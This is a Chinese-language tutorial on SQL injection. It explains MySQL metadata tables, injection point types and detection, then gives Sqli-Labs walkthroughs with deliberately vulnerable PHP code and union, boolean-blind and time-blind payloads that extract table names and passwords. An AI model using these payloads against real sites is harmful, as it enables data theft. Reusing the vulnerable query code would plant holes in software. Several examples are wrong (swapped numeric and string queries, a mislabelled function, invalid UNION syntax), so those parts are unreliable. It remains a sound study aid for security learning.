SQL注入介绍

原理

SQL注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 sql 语句来实现对数据库的任意操作。

举例说明:

$id = GET['id']

$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";

SQL 注入漏洞产生的条件:

  • A:参数用户可控:前端传入的参数内容由用户控制

  • B:参数带入数据库的查询:传入的参数拼接到 SQL 语句,并且带入数据库的查询

SQL注入的危害

  1. 数据库信息泄露:数据库中存放用户的信息隐私数据的泄露

  2. 服务器被远程控制,被安装后门

关于数据库

  1. 在 MySQL5.0 版本后,MySQL 默认在数据库中存放一个 information_schema 的数据库,在该库中,我们需要记住三个表名,分别是 schematatablescolumns

  2. Schemata 表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库名的字段名为 schema_name

  3. Tables 表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库 库名和表名的字段分别是 table_schematable_name

  4. Columns 表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为 table_schematable_namecolumns_name

SQL注入查询语句

数据库查询语句如下: 想要查询的值 A= select 所属字段名 A from 所属表名 where 对应字段名 B=值 B

关于几个表的一些语法:

// 通过这条语句可以得到所有的数据库名

select schema_name from information_schema.schemata limit 0,1

// 通过这条语句可以得到所有的数据表名

select table_name from information_schema.tables limit 0,1

// 通过这条语句可以得到指定security数据库中的所有表名

select table_name from information_schema.tables where table_schema='security'limit 0,1

// 通过这条语句可以得到所有的列名

select column_name from information_schema.columns limit 0,1

// 通过这条语句可以得到指定数据库security中的数据表users的所有列名

select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1

// 通过这条语句可以得到指定数据表users中指定列password的数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)

select password from users limit 0,1

Limit 的用法:Limit 的使用格式是 limit m,n,其中 m 指的是记录开始的位置,从 m=0 开始,表示第一条记录; n 是指取几条记录。

SQL注入常用函数(以MySQL为例)

  1. current_user 当前用户名

mysql> select current_user();
  1. session_user 连接数据库的用户名

mysql> select session_user();
  1. @@basedir mysql 安装路径

mysql> select @@basedir;
  1. @@datadir 数据库路径(数据的位置)

mysql> select @@basedir;
  1. @@version_compile_os 操作系统版本

mysql> select @@version_compile_os;
  1. concatconcat_wsgroup_concat 字符串连接函数

mysql> select concat (id,'|',username,'|',password) from users;

mysql> select concat_ws ('|',id,username,password) from users;

mysql> select group_concat ('\n',username) from users;		# 在浏览器中可以使用 "<br>" 来代替 "\n"
  1. substrmidleftrighlocate 字符串截取函数

  • substr(a,b,c):从字符串a当中的第b位开始截取c位

  • mid(a,b,c):从字符串a当中的第b位开始截取c位

  • left(a,b):在字符串a中,从左开始截取b位

  • right(a,b):在字符串a中,从右开始截取b位

  • locate(a,b):返回字符串a首次在字符串b出现的位置

  • locate(a,b,c):字符串b的第c位之后如果有a,则返回a在字符串b中的位置,没有则为0

mysql> select substr('duoduo',1,2)					  #结果为 du

mysql> select mid('duoduo',2,3);						# 结果为 uod

mysql> select left('duoduo',2);						 # 结果为 du

mysql> select right('duoduo',2);						# 结果为 uo

mysql> select locate('duoduo','1234duoduo');			# 结果为 5
  1. asciiord 返回指定的ASCII字符对应的值

mysql> select ascii('a');

mysql> selec ord('a');           # 结果为97
  1. char 返回指定数字对应的ASCII码字符函数

mysql> select char('97');	# 结果为a
  1. lengthcount 计算相关

mysql> select length(databases());		# 计算database名称长度

mysql> select count(*) from users;		# 字段数量
  1. sleepif 时间盲注会用到的函数

if(expr1,expr2,expr3)						#如果expr1为true,执行expr2,否则执行expr3

mysql> select sleep(5);					  # 延迟5s响应

mysql> select if(1=1,sleep(5),1);			# 延迟5s响应

mysql> select if(1=2,sleep(5),1);			# 正常速度响应
  1. to_base64from_base64 base64函数

mysql> select to_base64('duoduo');			# 输出 "ZHVvZHVv"

mysql> select from_base64('ZHVvZHVv');		# 输出 "duoduo"
  1. 注释方法

  • # 一般的注释方式

  • --+ 一般在浏览器中使用,mysql当中的注释为“-- ”,使用“+”代替“ ”

  • /*!*/ 带"!"的注释,一般里面的表达式也会执行(内联注释方式)

  • /*!50000*/ mysql 5通用,带版本内联注释

补充:URL编码:“#”:%23“ ”:%20或者+“+”:%%2B

注:sql注入漏洞攻击流程:注入点探测—信息获取—获取权限

SQL注入类型

按照注入点类型来分类

  1. 数字型注入点

类似结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

select * from 表名 where name = 'admin' and 1 = 1 '
  1. 字符型注入点

类似结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

select * from 表名 where id = 1 and 1 = 1
  1. 搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 “keyword=关键字” 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为: select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

按照数据提交的方式来分类

  1. GET注入

提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。

  1. POST注入

使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

  1. Cookie注入

HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

  1. HTTP头部注入

注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

按照执行效果来分类

  1. 基于布尔的盲注即可以根据返回页面判断条件真假的注入。

  2. 基于时间的盲注即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

  3. 基于报错注入即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

  • 单引号

  • 双引号

  • 基于数字型注入

  1. 联合查询注入 可以使用 union 的情况下的注入

  2. 堆查询注入 可以同时执行多条语句的执行时的注入

  3. 宽字节注入宽字节注入主要是源于程序员设置 数据库编码php 编码 设置为 不同 的两个编码,这样就可能会产生 宽字节注入GBK 占用两字节,ASCII 占用一字节。PHP 中编码为 GBK,函数执行添加的是 ASCII 编码(添加的符号为\‛),MYSQL 默认字符集是 GBK 等宽字节字符集。 输入%df%27 ,本来\ 会转义%27(’),但\(其中`\`的十六进制是%5C )的编码位数为92%df 的编码位数为 223%df%5c 符合GBK取值范围(第一个字节 129-254,第二个字节 64-254),会解析 为一个汉字,这样\就会失去应有的作用。

注入检测方式

寻找注入点可以使用BurpSuite抓包,分析每一个请求的传参数(常见的注入点有GET,POST,COOKIE)

GET /Less-1/?id=1 HTTP/1.1

Host: 127.0.0.1

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

判断是否存在注入

  • 一般在传参后面加一个单引号或者双引号,报错或者没有返回正常的页面,那么大概率是存在注入的

  • 进一步检测是否存在注入

数字型注入

  • SQL语句为 $sql = "select * from users where id = $id limit 0,1"

# 传入id = 1

$sql = "select * from users where id = 1 limit 0,1" #正常执行

# 传入id = 1'

$sql = "select * from users where id = 1' limit 0,1" #语句错误

# 传入id = 1'#

$sql = "select * from users where id = 1'# limit 0,1" #语句错误(到这里可以基本知道不是字符型注入了)

# 传入id = 2-1

sql = "select * from users where id = 2-1 limit 0,1" #正常执行,与id=1结果相同

字符型注入

  • SQL语句为 $sql = "select * from users where id = '$id' limit 0,1"

# 传入id = 1

$sql = "select * from users where id = '1' limit 0,1" #正常执行

# 传入id = 1'

$sql = "select * from users where id = '1'' limit 0,1" #语句错误

# 传入id = 1'#

$sql = "select * from users where id = '1'#' limit 0,1" # 正常执行(“#”在URL中会被编码为%23,所以在URL中可以直接使用%23)

搜索型注入

  • SQL语句为 $sql = "select * from users where password like '%$pwd%' order by password"

  • like 用于搜索匹配字段中的内容

#传入pwd = xx' and 1 = 1 and '%' = '

$sql = "select * from users where password like '%xx' and 1 = 1 and '%' = '%' order by password" #这种形式则存在SQL注入

# 传入pwd = keyword'

$sql = "select * from users where password like '%keyword'%' order by password" # 报错,则大概率存在漏洞

# 传入pwd = keyword%

$sql = "select * from users where password like '%keyword%%' order by password" # 报错,则大概率存在漏洞

# 传入pwd = keyword%' and 1 = 1 '%' = '或pwd = keyword%' and 1 = 2 '%' = '

$sql = "select * from users where password like '%keyword%' and 1 = 1 '%' = '%' order by password" ①

$sql = "select * from users where password like '%keyword%' and 1 = 2 '%' = '%' order by password" ②

# 如果①正常执行,②不正常执行,则存在漏洞

# 传入pwd = 'and 1 = 1 and '%' = '

$sql = "select * from users where password like '%' and 1 = 1 and '%' = '%' order by password"

# 传入pwd = %' and 1 = 1--'

$sql = "select * from users where password like '%' and 1 = 1 and '%' = '%' order by password"

# 传入pwd = %' and 1 = 1 and '%' = '

$sql = "select * from users where password like '%' and 1 = 1 and '%' = '%' order by password"

判断是否有注入还可以使用 and、or

如:

# 传入id = 1' and 1 = 1

$sql = "select * from users where id = 'id=1' and 1=1 limit 0,1" #正常执行

# 传入id = 1' and 1 = 2

$sql = "select * from users where id = 'id=1' and 1=2 limit 0,1" # 语句没有错误,但不执行(1=2为false)

SQL注入实例

Union联合注入(Sqli-Labs Less-1)

注入原理

UNION 操作符:用于连接两个以上的 SELECT 语句(其他语句不行)的结果组合到一个结果集合中,多个 SELECT 语句会删除重复的数据。

ORDER BY 操作符:将查询的结果根据字段进行排序。这里可使用数字,例如 ORDER BY 3 表示将查询的结果根据表中第三个字段进行排序。

后端代码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);



	if($row)

	{

  	echo "<font size='5' color= '#99FF00'>";

  	echo 'Your Login name:'. $row['username'];

  	echo "<br>";

  	echo 'Your Password:' .$row['password'];

  	echo "</font>";

  	}

	else 

	{

	echo '<font color= "#FFFF00">';

	print_r(mysql_error());

	echo "</font>";  

	}

}

	else { echo "Please input the ID as parameter with numeric value";}

具体步骤

SQL语句为:$sql = "select * from users where id = '$id' limit 0,1"

①使用Order By判断字段数

传入 id = 1' ORDER BY n --+ (n = 1,2,3,4,5,6)

$sql = "select * from users where id = '1' ORDER BY n --+' limit 0,1"

# 若字段数为3,当n为4或更大时,数据显示不正常或报错,可知字段数为3

②使用Union进行联合注入

传入 id = -1' and UNION select 1, 2, 3 --+ (Union前的语句执行结果需要为空)

$sql = "select * from users where id = '-1' and UNION select 1, 2, 3 --+' limit 0,1"

# 页面上会显示出 UNION select 后面的内容。

这里就可以将显示的位置:1,2,3 替换为SQL语句,来获取我们想要的信息

注:UNION SELECT 会被过滤时可以使用 UNION ALL SELECT

布尔盲注(Sqli-Labs Less-8)

概述

代码存在 sql 注入漏洞,注入的语句在Web的页面返回值均为True或False,是根据页面返回值来得到数据库信息的一种办法。

注入原理

执行语句为 (SQL语句1) and (SQL语句2) 或者 (SQL语句1) or (SQL语句2),页面显示内容由整个SQL语句的 返回值(布尔类型) 决定,根据页面返回内容来对语句进行判断。

后端代码

$id = $_GET['id'];

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1 ";

$result = mysql_query($sql);

$row = mysql_fetch_array($result);

if($row) {

    echo "Right";

} else {

    echo "Wrong";

}

使用场景

  • Union注入 无法使用(如:被过滤,无位置显示等)

  • 只能根据页面是否返回 TrueFalse 来判断是否被带入注入

判断是否存在布尔盲注

// 传入id = 1' and 1=1 --+

$sql = "select * from users where id = '1' and 1=1 --+' limit 0,1"; #返回正常

// 传入id = 1' and 1=2 --+

$sql = "select * from users where id = '1' and 1=2 --+' limit 0,1"; #返回异常

具体步骤

SQL语句为 $sql = "select * from users where id = '$id' limit 0,1";

注:可以使用Burp的 Inteuder 模块进行遍历,或编写脚本

获取数据库名称长度

// 传入id = 1' and length(database()) = n --+

$sql = "select * from users where id = '1' and length(database()) = n --+' limit 0,1";

# 判断数据库名称的长度:n

获取数据库名称

// 传入id = 1' and ascii(substr(database(),x,1))=n --+

$sql="SELECT * FROM users WHERE id='1' and ascii(substr(database(),x,1))=n --+' LIMIT 0,1";

# 判断数据库名称中第x个字符的ascii值:n

获取数据库中表的数量

// id = 1' and (select count(*) from information_schema.tables where table_schema = database()) = n --+

$sql="SELECT FROM users WHERE id='1' and (select count() from information_schema.tables where table_schema = database()) = n --+' LIMIT 0,1 ";

# 判断指定数据库中表的数量:n

获取指定表的名称长度

// 传入id = 1' and length((select table_name from information_schema.tables where table_schema = database() limit i,1)) = n --+

$sql = "select * from users where id = '1' and length((select table_name from information_schema.tables where table_schema = database() limit i,1)) = n --+' limit 0,1";

# 判断查询列表中的第i个字符串(指定表名)的长度:n

获取指定表的名称

// 传入id = 1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit i,1),x,1)) = n --+

$sql = "select * from users where id = '1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit i,1),x,1)) = n --+' limit 0,1";

# 判断查询列表中的第i个字符串(指定表名)中的第x个字符的ascii值:n

获取指定表中列的数量

// 传入id = 1' and (select count(column_name) from information_schema.columns where table_name = 'tablename') = n --+

$sql = "select * from users where id = '1' and (select count(column_name) from information_schema.columns where table_name = 'tablename') = n --+' limit 0,1";

# 判断指定表中列(字段名)的数量:n

获取表中指定列的长度

// 传入id = 1' and length((select column_name from information_schema.columns where table_name = 'tablename' limit i,1)) = n --+

$sql = "select * from users where id = '1' and length((select column_name from information_schema.columns where table_name = 'tablename' limit i,1)) = n --+' limit 0,1";

# 判断表中第i列(第i个字段)名称的长度:n

获取表中指定列的名称

// 传入id = 1' and ascii(substr((select column_name from information_schema.columns where table_name = 'tablename' limit i,1),x,1)) = n --+

$sql = "select * from users where id = '1' and ascii(substr((select column_name from information_schema.columns where table_name = 'tablename' limit i,1),x,1)) = n --+' limit 0,1";

# 判断表中第i列(第i个字段)名称中第x个字符的ascii值:n

获取表中指定列的字段数量

// 传入id = 1' and (select count(columnname) from tablename) = n --+

$sql = "select * from users where id = '1' and (select count(column_name) from tablename) = n --+' limit 0,1";

# 判断指定列(字段名columnname)的字段数量:n

获取列中指定字段的长度

// 传入id = 1' and length((select columnname from tablename limit i,1)) = n --+

$sql = "select * from users where id = '1' and length((select columnname from tablename limit i,1)) = n --+' limit 0,1";

# 判断指定列(字段名columnname)中第i条字段的长度:n

获取列中指定字段的值

// 传入id = 1' and ascii(substr((select columnname from tablename limit i,1),x,1)) = n --+

$sql = "select * from users where id = '1' and ascii(substr((select columnname from tablename limit i,1),x,1)) = n --+' limit 0,1";

# 判断第i个字段中第x个字符的ascii值:n

时间盲注(Sqli-Labs Less-9 or Less-10)

概述

代码存在 sql 注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也 不提示真假,我们不能通过页面的内容来判断。这里我们可以通过构造语句,通过页面响应的时长,来判断信息,这既是时间盲注。

注入原理

利用 sleep()benchmark() 等函数让 mysql 执行时间变长经常与 if(expr1,expr2,expr3) 语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3) 含义是如果 expr1True,则返回 expr2,否则返回 expr3

注:if(expr1,expr2,expr3) 含义是:如果 expr1True,则返回 expr2,否则返回 expr3

后端代码

$id = $_GET['id'];

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1 ";

$result = mysql_query($sql);

$row = mysql_fetch_array($result);

if($row) {

    echo " ";

} else {

    echo " ";

}

使用场景

  • Union注入 无法使用

  • 布尔盲注无法使用

判断是否存在时间盲注

// 传入id = 1' --+

$sql = "select * from users where id = '1' --+' limit 0,1"; # 正常速度响应

//传入id = 1' and sleep(5) --+

$sql = "select * from users where id = '1' and sleep(5) --+' limit 0,1"; # 延迟5s响应

具体步骤

SQL语句为 $sql="SELECT * FROM users WHERE id = '$id' LIMIT 0,1 ";

具体步骤与布尔盲注类似,注入的语句格式为:

//传入id = 1' and if(exp,sleep(5),1) --+

$sql="SELECT * FROM users WHERE id='1' and if(exp,sleep(5),1) --+' LIMIT 0,1 ";

#布尔盲注中的语句放在exp的位置,如果返回True,则延迟5s响应;返回False,则正常速度响应。